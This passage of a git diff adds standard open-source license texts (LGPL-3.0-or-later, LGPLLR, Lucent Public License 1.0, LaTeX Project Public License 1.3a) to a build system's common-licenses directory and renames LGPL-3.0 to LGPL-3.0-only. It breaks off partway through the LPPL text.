+Software Foundation; either version 2.1 of the License, or (at your option)
+any later version.
+
+This library is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
+details.
+
+You should have received a copy of the GNU Lesser General Public License along
+with this library; if not, write to the Free Software Foundation, Inc., 51
+Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+
+Also add information on how to contact you by electronic and paper mail.
+
+You should also get your employer (if you work as a programmer) or your school,
+if any, to sign a "copyright disclaimer" for the library, if necessary. Here
+is a sample; alter the names:
+
+Yoyodyne, Inc., hereby disclaims all copyright interest in
+
+the library `Frob' (a library for tweaking knobs) written
+
+by James Random Hacker.
+
+< signature of Ty Coon > , 1 April 1990
+
+Ty Coon, President of Vice
+
+That's all there is to it!
diff --git a/meta/files/common-licenses/LGPL-3.0 b/meta/files/common-licenses/LGPL-3.0-only
index 6be29bf206..6be29bf206 100644
--- a/meta/files/common-licenses/LGPL-3.0
+++ b/meta/files/common-licenses/LGPL-3.0-only
diff --git a/meta/files/common-licenses/LGPL-3.0-or-later b/meta/files/common-licenses/LGPL-3.0-or-later
new file mode 100644
index 0000000000..bd405afbef
--- /dev/null
+++ b/meta/files/common-licenses/LGPL-3.0-or-later
@@ -0,0 +1,163 @@
+GNU LESSER GENERAL PUBLIC LICENSE
+
+Version 3, 29 June 2007
+
+Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+This version of the GNU Lesser General Public License incorporates the terms
+and conditions of version 3 of the GNU General Public License, supplemented
+by the additional permissions listed below.
+
+ 0. Additional Definitions.
+
+
+
+As used herein, "this License" refers to version 3 of the GNU Lesser General
+Public License, and the "GNU GPL" refers to version 3 of the GNU General Public
+License.
+
+
+
+"The Library" refers to a covered work governed by this License, other than
+an Application or a Combined Work as defined below.
+
+
+
+An "Application" is any work that makes use of an interface provided by the
+Library, but which is not otherwise based on the Library. Defining a subclass
+of a class defined by the Library is deemed a mode of using an interface provided
+by the Library.
+
+
+
+A "Combined Work" is a work produced by combining or linking an Application
+with the Library. The particular version of the Library with which the Combined
+Work was made is also called the "Linked Version".
+
+
+
+The "Minimal Corresponding Source" for a Combined Work means the Corresponding
+Source for the Combined Work, excluding any source code for portions of the
+Combined Work that, considered in isolation, are based on the Application,
+and not on the Linked Version.
+
+
+
+The "Corresponding Application Code" for a Combined Work means the object
+code and/or source code for the Application, including any data and utility
+programs needed for reproducing the Combined Work from the Application, but
+excluding the System Libraries of the Combined Work.
+
+ 1. Exception to Section 3 of the GNU GPL.
+
+You may convey a covered work under sections 3 and 4 of this License without
+being bound by section 3 of the GNU GPL.
+
+ 2. Conveying Modified Versions.
+
+If you modify a copy of the Library, and, in your modifications, a facility
+refers to a function or data to be supplied by an Application that uses the
+facility (other than as an argument passed when the facility is invoked),
+then you may convey a copy of the modified version:
+
+a) under this License, provided that you make a good faith effort to ensure
+that, in the event an Application does not supply the function or data, the
+facility still operates, and performs whatever part of its purpose remains
+meaningful, or
+
+b) under the GNU GPL, with none of the additional permissions of this License
+applicable to that copy.
+
+ 3. Object Code Incorporating Material from Library Header Files.
+
+The object code form of an Application may incorporate material from a header
+file that is part of the Library. You may convey such object code under terms
+of your choice, provided that, if the incorporated material is not limited
+to numerical parameters, data structure layouts and accessors, or small macros,
+inline functions and templates (ten or fewer lines in length), you do both
+of the following:
+
+a) Give prominent notice with each copy of the object code that the Library
+is used in it and that the Library and its use are covered by this License.
+
+b) Accompany the object code with a copy of the GNU GPL and this license document.
+
+ 4. Combined Works.
+
+You may convey a Combined Work under terms of your choice that, taken together,
+effectively do not restrict modification of the portions of the Library contained
+in the Combined Work and reverse engineering for debugging such modifications,
+if you also do each of the following:
+
+a) Give prominent notice with each copy of the Combined Work that the Library
+is used in it and that the Library and its use are covered by this License.
+
+b) Accompany the Combined Work with a copy of the GNU GPL and this license
+document.
+
+c) For a Combined Work that displays copyright notices during execution, include
+the copyright notice for the Library among these notices, as well as a reference
+directing the user to the copies of the GNU GPL and this license document.
+
+ d) Do one of the following:
+
+0) Convey the Minimal Corresponding Source under the terms of this License,
+and the Corresponding Application Code in a form suitable for, and under terms
+that permit, the user to recombine or relink the Application with a modified
+version of the Linked Version to produce a modified Combined Work, in the
+manner specified by section 6 of the GNU GPL for conveying Corresponding Source.
+
+1) Use a suitable shared library mechanism for linking with the Library. A
+suitable mechanism is one that (a) uses at run time a copy of the Library
+already present on the user's computer system, and (b) will operate properly
+with a modified version of the Library that is interface-compatible with the
+Linked Version.
+
+e) Provide Installation Information, but only if you would otherwise be required
+to provide such information under section 6 of the GNU GPL, and only to the
+extent that such information is necessary to install and execute a modified
+version of the Combined Work produced by recombining or relinking the Application
+with a modified version of the Linked Version. (If you use option 4d0, the
+Installation Information must accompany the Minimal Corresponding Source and
+Corresponding Application Code. If you use option 4d1, you must provide the
+Installation Information in the manner specified by section 6 of the GNU GPL
+for conveying Corresponding Source.)
+
+ 5. Combined Libraries.
+
+You may place library facilities that are a work based on the Library side
+by side in a single library together with other library facilities that are
+not Applications and are not covered by this License, and convey such a combined
+library under terms of your choice, if you do both of the following:
+
+a) Accompany the combined library with a copy of the same work based on the
+Library, uncombined with any other library facilities, conveyed under the
+terms of this License.
+
+b) Give prominent notice with the combined library that part of it is a work
+based on the Library, and explaining where to find the accompanying uncombined
+form of the same work.
+
+ 6. Revised Versions of the GNU Lesser General Public License.
+
+The Free Software Foundation may publish revised and/or new versions of the
+GNU Lesser General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to address
+new problems or concerns.
+
+Each version is given a distinguishing version number. If the Library as you
+received it specifies that a certain numbered version of the GNU Lesser General
+Public License "or any later version" applies to it, you have the option of
+following the terms and conditions either of that published version or of
+any later version published by the Free Software Foundation. If the Library
+as you received it does not specify a version number of the GNU Lesser General
+Public License, you may choose any version of the GNU Lesser General Public
+License ever published by the Free Software Foundation.
+
+If the Library as you received it specifies that a proxy can decide whether
+future versions of the GNU Lesser General Public License shall apply, that
+proxy's public statement of acceptance of any version is permanent authorization
+for you to choose that version for the Library.
diff --git a/meta/files/common-licenses/LGPLLR b/meta/files/common-licenses/LGPLLR
new file mode 100644
index 0000000000..73d8040e98
--- /dev/null
+++ b/meta/files/common-licenses/LGPLLR
@@ -0,0 +1,89 @@
+Lesser General Public License For Linguistic Resources
+
+Preamble
+
+The licenses for most data are designed to take away your freedom to share and change it. By contrast, this License is intended to guarantee your freedom to share and change free data--to make sure the data are free for all their users.
+
+This License, the Lesser General Public License for Linguistic Resources, applies to some specially designated linguistic resources -- typically lexicons and grammars.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License Agreement applies to any Linguistic Resource which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License for Linguistic Resources (also called "this License"). Each licensee is addressed as "you".
+
+A "linguistic resource" means a collection of data about language prepared so as to be used with application programs.
+
+The "Linguistic Resource", below, refers to any such work which has been distributed under these terms. A "work based on the Linguistic Resource" means either the Linguistic Resource or any derivative work under copyright law: that is to say, a work containing the Linguistic Resource or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".)
+
+"Legible form" for a linguistic resource means the preferred form of the resource for making modifications to it.
+
+Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Linguistic Resource is not restricted, and output from such a program is covered only if its contents constitute a work based on the Linguistic Resource (independent of the use of the Linguistic Resource in a tool for writing it). Whether that is true depends on what the program that uses the Linguistic Resource does.
+
+1. You may copy and distribute verbatim copies of the Linguistic Resource as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Linguistic Resource.
+
+You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Linguistic Resource or any portion of it, thus forming a work based on the Linguistic Resource, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:
+
+ a) The modified work must itself be a linguistic resource.
+
+ b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change.
+
+ c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License.
+
+These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Linguistic Resource, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Linguistic Resource, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Linguistic Resource.
+
+In addition, mere aggregation of another work not based on the Linguistic Resource with the Linguistic Resource (or with a work based on the Linguistic Resource) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.
+
+3. A program that contains no derivative of any portion of the Linguistic Resource, but is designed to work with the Linguistic Resource (or an encrypted form of the Linguistic Resource) by reading it or being compiled or linked with it, is called a "work that uses the Linguistic Resource". Such a work, in isolation, is not a derivative work of the Linguistic Resource, and therefore falls outside the scope of this License.
+
+However, combining a "work that uses the Linguistic Resource" with the Linguistic Resource (or an encrypted form of the Linguistic Resource) creates a package that is a derivative of the Linguistic Resource (because it contains portions of the Linguistic Resource), rather than a "work that uses the Linguistic Resource". If the package is a derivative of the Linguistic Resource, you may distribute the package under the terms of Section 4. Any works containing that package also fall under Section 4.
+
+4. As an exception to the Sections above, you may also combine a "work that uses the Linguistic Resource" with the Linguistic Resource (or an encrypted form of the Linguistic Resource) to produce a package containing portions of the Linguistic Resource, and distribute that package under terms of your choice, provided that the terms permit modification of the package for the customer's own use and reverse engineering for debugging such modifications.
+
+You must give prominent notice with each copy of the package that the Linguistic Resource is used in it and that the Linguistic Resource and its use are covered by this License. You must supply a copy of this License. If the package during execution displays copyright notices, you must include the copyright notice for the Linguistic Resource among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things:
+
+ a) Accompany the package with the complete corresponding machine-readable legible form of the Linguistic Resource including whatever changes were used in the package (which must be distributed under Sections 1 and 2 above); and, if the package contains an encrypted form of the Linguistic Resource, with the complete machine-readable "work that uses the Linguistic Resource", as object code and/or source code, so that the user can modify the Linguistic Resource and then encrypt it to produce a modified package containing the modified Linguistic Resource.
+
+ b) Use a suitable mechanism for combining with the Linguistic Resource. A suitable mechanism is one that will operate properly with a modified version of the Linguistic Resource, if the user installs one, as long as the modified version is interface-compatible with the version that the package was made with.
+
+ c) Accompany the package with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 4a, above, for a charge no more than the cost of performing this distribution.
+
+ d) If distribution of the package is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place.
+
+ e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy.
+
+If the package includes an encrypted form of the Linguistic Resource, the required form of the "work that uses the Linguistic Resource" must include any data and utility programs needed for reproducing the package from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.
+
+It may happen that this requirement contradicts the license restrictions of proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Linguistic Resource together in a package that you distribute.
+
+5. You may not copy, modify, sublicense, link with, or distribute the Linguistic Resource except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Linguistic Resource is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+6. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Linguistic Resource or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Linguistic Resource (or any work based on the Linguistic Resource), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Linguistic Resource or works based on it.
+
+7. Each time you redistribute the Linguistic Resource (or any work based on the Linguistic Resource), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Linguistic Resource subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License.
+
+8. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Linguistic Resource at all. For example, if a patent license would not permit royalty-free redistribution of the Linguistic Resource by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Linguistic Resource.
+
+If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free resource distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of data distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute resources through any other system and a licensee cannot impose that choice.
+
+This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.
+
+9. If the distribution and/or use of the Linguistic Resource is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Linguistic Resource under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+10. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License for Linguistic Resources from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Linguistic Resource specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Linguistic Resource does not specify a license version number, you may choose any version ever published by the Free Software Foundation.
+
+11. If you wish to incorporate parts of the Linguistic Resource into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission.
+
+ NO WARRANTY
+
+12. BECAUSE THE LINGUISTIC RESOURCE IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LINGUISTIC RESOURCE, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LINGUISTIC RESOURCE "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LINGUISTIC RESOURCE IS WITH YOU. SHOULD THE LINGUISTIC RESOURCE PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+13. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LINGUISTIC RESOURCE AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LINGUISTIC RESOURCE (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LINGUISTIC RESOURCE TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+ END OF TERMS AND CONDITIONS
diff --git a/meta/files/common-licenses/LPL-1.0 b/meta/files/common-licenses/LPL-1.0
new file mode 100644
index 0000000000..8546bc2a2d
--- /dev/null
+++ b/meta/files/common-licenses/LPL-1.0
@@ -0,0 +1,81 @@
+Lucent Public License Version 1.0
+
+THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS PUBLIC LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION OF THE PROGRAM CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT.
+
+1. DEFINITIONS
+
+"Contribution" means:
+
+ a. in the case of <ORGANIZATION> ("<OWNER>"), the Original Program, and
+ b. in the case of each Contributor,
+
+ i. changes to the Program, and
+ ii. additions to the Program; where such changes and/or additions to the Program originate from and are "Contributed" by that particular Contributor.
+
+ A Contribution is "Contributed" by a Contributor only (i) if it was added to the Program by such Contributor itself or anyone acting on such Contributor's behalf, and (ii) the Contributor explicitly consents, in accordance with Section 3C, to characterization of the changes and/or additions as Contributions. Contributions do not include additions to the Program which: (i) are separate modules of software distributed in conjunction with the Program under their own license agreement, and (ii) are not derivative works of the Program.
+
+"Contributor" means <OWNER> and any other entity that has Contributed a Contribution to the Program.
+
+"Distributor" means a Recipient that distributes the Program, modifications to the Program, or any part thereof.
+
+"Licensed Patents" mean patent claims licensable by a Contributor which are necessarily infringed by the use or sale of its Contribution alone or when combined with the Program.
+
+"Original Program" means the original version of the software accompanying this Agreement as released by <OWNER>, including source code, object code and documentation, if any.
+
+"Program" means the Original Program and Contributions or any part thereof
+
+"Recipient" means anyone who receives the Program under this Agreement, including all Contributors.
+
+2. GRANT OF RIGHTS
+
+ a. Subject to the terms of this Agreement, each Contributor hereby grants Recipient a non-exclusive, worldwide, royalty-free copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, distribute and sublicense the Contribution of such Contributor, if any, and such derivative works, in source code and object code form.
+
+ b. Subject to the terms of this Agreement, each Contributor hereby grants Recipient a non-exclusive, worldwide, royalty-free patent license under Licensed Patents to make, use, sell, offer to sell, import and otherwise transfer the Contribution of such Contributor, if any, in source code and object code form. The patent license granted by a Contributor shall also apply to the combination of the Contribution of that Contributor and the Program if, at the time the Contribution is added by the Contributor, such addition of the Contribution causes such combination to be covered by the Licensed Patents. The patent license granted by a Contributor shall not apply to (i) any other combinations which include the Contribution, nor to (ii) Contributions of other Contributors. No hardware per se is licensed hereunder.
+
+ c. Recipient understands that although each Contributor grants the licenses to its Contributions set forth herein, no assurances are provided by any Contributor that the Program does not infringe the patent or other intellectual property rights of any other entity. Each Contributor disclaims any liability to Recipient for claims brought by any other entity based on infringement of intellectual property rights or otherwise. As a condition to exercising the rights and licenses granted hereunder, each Recipient hereby assumes sole responsibility to secure any other intellectual property rights needed, if any. For example, if a third party patent license is required to allow Recipient to distribute the Program, it is Recipient's responsibility to acquire that license before distributing the Program.
+
+ d. Each Contributor represents that to its knowledge it has sufficient copyright rights in its Contribution, if any, to grant the copyright license set forth in this Agreement.
+
+3. REQUIREMENTS
+
+ A. Distributor may choose to distribute the Program in any form under this Agreement or under its own license agreement, provided that:
+
+ 1. it complies with the terms and conditions of this Agreement;
+ 2. if the Program is distributed in source code or other tangible form, a copy of this Agreement or Distributor's own license agreement is included with each copy of the Program; and
+ 3. if distributed under Distributor's own license agreement, such license agreement:
+
+ a. effectively disclaims on behalf of all Contributors all warranties and conditions, express and implied, including warranties or conditions of title and non-infringement, and implied warranties or conditions of merchantability and fitness for a particular purpose;
+ b. effectively excludes on behalf of all Contributors all liability for damages, including direct, indirect, special, incidental and consequential damages, such as lost profits; and
+ c. states that any provisions which differ from this Agreement are offered by that Contributor alone and not by any other party.
+
+ B. Each Distributor must include the following in a conspicuous location in the Program:
+
+ Copyright (C) <YEAR>, <ORGANIZATION> and others. All Rights Reserved.
+
+ C. In addition, each Contributor must identify itself as the originator of its Contribution, if any, and indicate its consent to characterization of its additions and/or changes as a Contribution, in a manner that reasonably allows subsequent Recipients to identify the originator of the Contribution. Once consent is granted, it may not thereafter be revoked.
+
+4. COMMERCIAL DISTRIBUTION
+
+Commercial distributors of software may accept certain responsibilities with respect to end users, business partners and the like. While this license is intended to facilitate the commercial use of the Program, the Distributor who includes the Program in a commercial product offering should do so in a manner which does not create potential liability for Contributors. Therefore, if a Distributor includes the Program in a commercial product offering, such Distributor ("Commercial Distributor") hereby agrees to defend and indemnify every Contributor ("Indemnified Contributor") against any losses, damages and costs (collectively "Losses") arising from claims, lawsuits and other legal actions brought by a third party against the Indemnified Contributor to the extent caused by the acts or omissions of such Commercial Distributor in connection with its distribution of the Program in a commercial product offering. The obligations in this section do not apply to any claims or Losses relating to any actual or alleged intellectual property infringement. In order to qualify, an Indemnified Contributor must: a) promptly notify the Commercial Distributor in writing of such claim, and b) allow the Commercial Distributor to control, and cooperate with the Commercial Distributor in, the defense and any related settlement negotiations. The Indemnified Contributor may participate in any such claim at its own expense.
+
+For example, a Distributor might include the Program in a commercial product offering, Product X. That Distributor is then a Commercial Distributor. If that Commercial Distributor then makes performance claims, or offers warranties related to Product X, those performance claims and warranties are such Commercial Distributor's responsibility alone. Under this section, the Commercial Distributor would have to defend claims against the Contributors related to those performance claims and warranties, and if a court requires any Contributor to pay any damages as a result, the Commercial Distributor must pay those damages.
+
+5. NO WARRANTY
+
+EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE PROGRAM IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Each Recipient is solely responsible for determining the appropriateness of using and distributing the Program and assumes all risks associated with its exercise of rights under this Agreement, including but not limited to the risks and costs of program errors, compliance with applicable laws, damage to or loss of data, programs or equipment, and unavailability or interruption of operations.
+
+6. DISCLAIMER OF LIABILITY
+
+EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, NEITHER RECIPIENT NOR ANY CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE PROGRAM OR THE EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+7. GENERAL
+
+If any provision of this Agreement is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this Agreement, and without further action by the parties hereto, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+If Recipient institutes patent litigation against a Contributor with respect to a patent applicable to software (including a cross-claim or counterclaim in a lawsuit), then any patent licenses granted by that Contributor to such Recipient under this Agreement shall terminate as of the date such litigation is filed. In addition, if Recipient institutes patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Program itself (excluding combinations of the Program with other software or hardware) infringes such Recipient's patent(s), then such Recipient's rights granted under Section 2(b) shall terminate as of the date such litigation is filed.
+
+All Recipient's rights under this Agreement shall terminate if it fails to comply with any of the material terms or conditions of this Agreement and does not cure such failure in a reasonable period of time after becoming aware of such noncompliance. If all Recipient's rights under this Agreement terminate, Recipient agrees to cease use and distribution of the Program as soon as reasonably practicable. However, Recipient's obligations under this Agreement and any licenses granted by Recipient relating to the Program shall continue and survive.
+
+<OWNER> may publish new versions (including revisions) of this Agreement from time to time. Each new version of the Agreement will be given a distinguishing version number. The Program (including Contributions) may always be distributed subject to the version of the Agreement under which it was received. In addition, after a new version of the Agreement is published, Contributor may elect to distribute the Program (including its Contributions) under the new version. No one other than <OWNER> has the right to modify this Agreement. Except as expressly stated in Sections 2(a) and 2(b) above, Recipient receives no rights or licenses to the intellectual property of any Contributor under this Agreement, whether expressly, by implication, estoppel or otherwise. All rights in the Program not expressly granted under this Agreement are reserved.
+
+This Agreement is governed by the laws of the State of <STATE> and the intellectual property laws of the United States of America. No party to this Agreement will bring a legal action under this Agreement more than one year after the cause of action arose. Each party waives its rights to a jury trial in any resulting litigation.
diff --git a/meta/files/common-licenses/LPPL-1.3a b/meta/files/common-licenses/LPPL-1.3a
new file mode 100644
index 0000000000..b159f90fdf
--- /dev/null
+++ b/meta/files/common-licenses/LPPL-1.3a
@@ -0,0 +1,175 @@
+The LaTeX Project Public License
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+
+LPPL Version 1.3a 2004-10-01
+
+Copyright 1999 2002-04 LaTeX3
+Project Everyone is allowed to distribute verbatim copies of this license document, but modification of it is not allowed.
+
+PREAMBLE
+========
+
+The LaTeX Project Public License (LPPL) is the primary license under which the the LaTeX kernel and the base LaTeX packages are distributed.
+
+You may use this license for any work of which you hold the copyright and which you wish to distribute. This license may be particularly suitable if your work is TeX-related (such as a LaTeX package), but you may use it with small modifications even if your work is unrelated to TeX.
+
+The section `WHETHER AND HOW TO DISTRIBUTE WORKS UNDER THIS LICENSE', below, gives instructions, examples, and recommendations for authors who are considering distributing their works under this license.
+
+This license gives conditions under which a work may be distributed and modified, as well as conditions under which modified versions of that work may be distributed.
+
+We, the LaTeX3 Project, believe that the conditions below give you the freedom to make and distribute modified versions of your work that conform with whatever technical specifications you wish while maintaining the availability, integrity, and reliability of that work. If you do not see how to achieve your goal while meeting these conditions, then read the document `cfgguide.tex' and `modguide.tex' in the base LaTeX distribution for suggestions.
+
+DEFINITIONS
+===========
+
+In this license document the following terms are used:
+
+`Work' Any work being distributed under this License. `Derived Work' Any work that under any applicable law is derived from the Work.
+
+`Modification' Any procedure that produces a Derived Work under any applicable law -- for example, the production of a file containing an original file associated with the Work or a significant portion of such a file, either verbatim or with modifications and/or translated into another language.
+
+`Modify' To apply any procedure that produces a Derived Work under any applicable law. `Distribution' Making copies of the Work available from one person to another, in whole or in part. Distribution includes (but is not limited to) making any electronic components of the Work accessible by file transfer protocols such as FTP or HTTP or by shared file systems such as Sun's Network File System (NFS).
+
+`Compiled Work' A version of the Work that has been processed into a form where it is directly usable on a computer system. This processing may include using installation facilities provided by the Work, transformations of the Work, copying of components of the Work, or other activities. Note that modification of any installation facilities provided by the Work constitutes modification of the Work.
+
+`Current Maintainer' A person or persons nominated as such within the Work. If there is no such explicit nomination then it is the `Copyright Holder' under any applicable law.
+
+`Base Interpreter' A program or process that is normally needed for running or interpreting a part or the whole of the Work. A Base Interpreter may depend on external components but these are not considered part of the Base Interpreter provided that each external component clearly identifies itself whenever it is used interactively. Unless explicitly specified when applying the license to the Work, the only applicable Base Interpreter is a "LaTeX-Format".
+
+CONDITIONS ON DISTRIBUTION AND MODIFICATION
+===========================================
+
+1. Activities other than distribution and/or modification of the Work are not covered by this license; they are outside its scope. In particular, the act of running the Work is not restricted and no requirements are made concerning any offers of support for the Work.
+
+2. You may distribute a complete, unmodified copy of the Work as you received it. Distribution of only part of the Work is considered modification of the Work, and no right to distribute such a Derived Work may be assumed under the terms of this clause.
+
+3. You may distribute a Compiled Work that has been generated from a complete, unmodified copy of the Work as distributed under Clause 2 above, as long as that Compiled Work is distributed in such a way that the recipients may install the Compiled Work on their system exactly as it would have been installed if they generated a Compiled Work directly from the Work.
+
+4. If you are the Current Maintainer of the Work, you may, without restriction, modify the Work, thus creating a Derived Work. You may also distribute the Derived Work without restriction, including Compiled Works generated from the Derived Work. Derived Works distributed in this manner by the Current Maintainer are considered to be updated versions of the Work.
+
+5. If you are not the Current Maintainer of the Work, you may modify your copy of the Work, thus creating a Derived Work based on the Work, and compile this Derived Work, thus creating a Compiled Work based on the Derived Work.
+
+6. If you are not the Current Maintainer of the Work, you may distribute a Derived Work provided the following conditions are met for every component of the Work unless that component clearly states in the copyright notice that it is exempt from that condition. Only the Current Maintainer is allowed to add such statements of exemption to a component of the Work.
+
+ a. If a component of this Derived Work can be a direct replacement for a component of the Work when that component is used with the Base Interpreter, then, wherever this component of the Work identifies itself to the user when used interactively with that Base Interpreter, the replacement component of this Derived Work clearly and unambiguously identifies itself as a modified version of this component to the user when used interactively with that Base Interpreter.
+
+ b. Every component of the Derived Work contains prominent notices detailing the nature of the changes to that component, or a prominent reference to another file that is distributed as part of the Derived Work and that contains a complete and accurate log of the changes.
+
+ c. No information in the Derived Work implies that any persons, including (but not limited to) the authors of the original version of the Work, provide any support, including (but not limited to) the reporting and handling of errors, to recipients of the Derived Work unless those persons have stated explicitly that they do provide such support for the Derived Work.
+
+ d. You distribute at least one of the following with the Derived Work:
+
+ 1. A complete, unmodified copy of the Work; if your distribution of a modified component is made by offering access to copy the modified component from a designated place, then offering equivalent access to copy the Work from the same or some similar place meets this condition, even though third parties are not compelled to copy the Work along with the modified component;
+
+ 2. Information that is sufficient to obtain a complete, unmodified copy of the Work.
+
+7. If you are not the Current Maintainer of the Work, you may distribute a Compiled Work generated from a Derived Work, as long as the Derived Work is distributed to all recipients of the Compiled Work, and as long as the conditions of Clause 6, above, are met with regard to the Derived Work.
+
+8. The conditions above are not intended to prohibit, and hence do not apply to, the modification, by any method, of any component so that it becomes identical to an updated version of that component of the Work as it is distributed by the Current Maintainer under Clause 4, above.
+
+9. Distribution of the Work or any Derived Work in an alternative format, where the Work or that Derived Work (in whole or in part) is then produced by applying some process to that format, does not relax or nullify any sections of this license as they pertain to the results of applying that process.
+
+10.
